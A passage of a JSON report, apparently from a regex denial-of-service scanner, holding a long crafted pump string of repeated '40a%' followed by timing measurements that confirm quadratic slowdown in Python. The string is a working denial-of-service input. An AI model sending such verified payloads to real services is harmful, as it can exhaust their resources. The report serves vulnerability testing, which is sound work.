40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40%5B","verification":{"engine":"python 3.12.3","benign_ms":0.06,"curve":[{"input_length":501,"pumps":250,"ms":7.27,"timed_out":false},{"input_length":1001,"pumps":500,"ms":28.52,"timed_out":false},{"input_length":2001,"pumps":1000,"ms":109.59,"timed_out":false},{"input_length":4001,"pumps":2000,"ms":438.92,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}}],"generated":"2026-09-19T02:13:30.081Z","verified":true}
